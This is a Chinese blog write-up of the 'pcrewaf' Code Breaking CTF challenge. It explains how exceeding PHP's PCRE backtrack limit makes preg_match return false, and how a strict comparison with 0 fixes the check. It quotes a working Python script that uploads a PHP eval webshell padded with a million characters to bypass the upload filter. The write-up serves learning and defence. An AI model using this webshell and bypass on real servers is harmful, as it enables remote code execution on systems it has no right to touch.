看P神的文章,学习web安全知识的前沿技术栈和各种tricks,这真是一个充满乐趣的过程。
这是code breaking上的第二题:pcrewaf
首先先回顾一下php文件上传的相关代码:
前端form表单:
<form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form>
后端php代码:
<?php
...... echo "上传文件名: " . $_FILES["file"]["name"] . "<br>"; echo "文件类型: " . $_FILES["file"]["type"] . "<br>"; echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>"; // 判断当前目录下的 upload 目录是否存在该文件 // 如果没有 upload 目录,你需要创建它,upload 目录权限为 777 if (file_exists("upload/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " 文件已经存在。 "; } else { // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下 move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "文件存储在: " . "upload/" . $_FILES["file"]["name"]; ...... ?>
通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件。
第一个参数是表单的 input name,第二个下标可以是 "name", "type", "size", "tmp_name" 或 "error"。就像这样:
- $_FILES["file"]["name"] - 被上传文件的名称
- $_FILES["file"]["type"] - 被上传文件的类型
- $_FILES["file"]["size"] - 被上传文件的大小,以字节计
- $_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称
- $_FILES["file"]["error"] - 由文件上传导致的错误代码
看一下这道题的源码:
<?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); } if(empty($_FILES)) { die(show_source(__FILE__)); } $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']); $data = file_get_contents($_FILES['file']['tmp_name']); if (is_php($data)) { echo "bad request"; } else { @mkdir($user_dir, 0755); $path = $user_dir . '/' . random_int(0, 10) . '.php'; move_uploaded_file($_FILES['file']['tmp_name'], $path); header("Location: $path", true, 303); } 分析一下正则:<?(任意字符)[里面的字符任意一个字符](任意字符) 目录分析:创建了目录:data/MD5/randomint.php
解法就是像这个php脚本上传一个php文件,或者说上传一个文件马进行RCE,核心问题就是绕过源码中的is_php()函数。
如何绕过呢?
先放上P神的博客上写的官方解释:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
我的思考:php使用的PCRE库使用NFA作为正则引擎,源码中的正则表达式是:
/<\?.*[(`;?>].*/
第一处出现的 .* 导致了可以在输入了<?后再跟着输入超长字符串,这个 .* 会直接匹配到超长字符串的结束,然而这个 .* 后面还有内容,所以正则引擎并没有匹配完,接下来他要一个慢慢地、一个字符一个字符地回溯。如果php不设置个最大回溯次数,这里传入超长的辅助穿,就能造成reDOS,所以php设置了pcre.backtrack_limit,并且规定如果回溯次数超过了pcre.backtrack_limit,preg_match()的结果直接返回一个false,而题目中的源码判断条件是
function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); }
返回了一个false,肯定不是return 1了,就绕过了。
贴一下p神的python上传文件的脚本:
import requests from io import BytesIO files = { 'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000) } res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False) print(res.headers)
如何防范攻击者利用最大回溯次数这种方法绕过正则呢?
答案藏在php源码里:https://www.php.net/manual/en/function.preg-match
preg_match()函数的返回值有三种,匹配到了return 1,没匹配到return 0,有错误发生(超过了最大回溯次数)返回false。
修改方式就是判断is_php()函数的返回值是否为0,不能用题目源码中的
if (is_php($data)) { echo "bad request"; }
修改为全等号判断是否为0:
if(is_php($input) === 0) { // fwrite($f, $input); ... }
这样就算返回了false,也不会进入if语句中。
标签:pcre,FILES,false,name,NFA,文件,file,php,上传 From: https://www.cnblogs.com/hackerone/p/17185968.html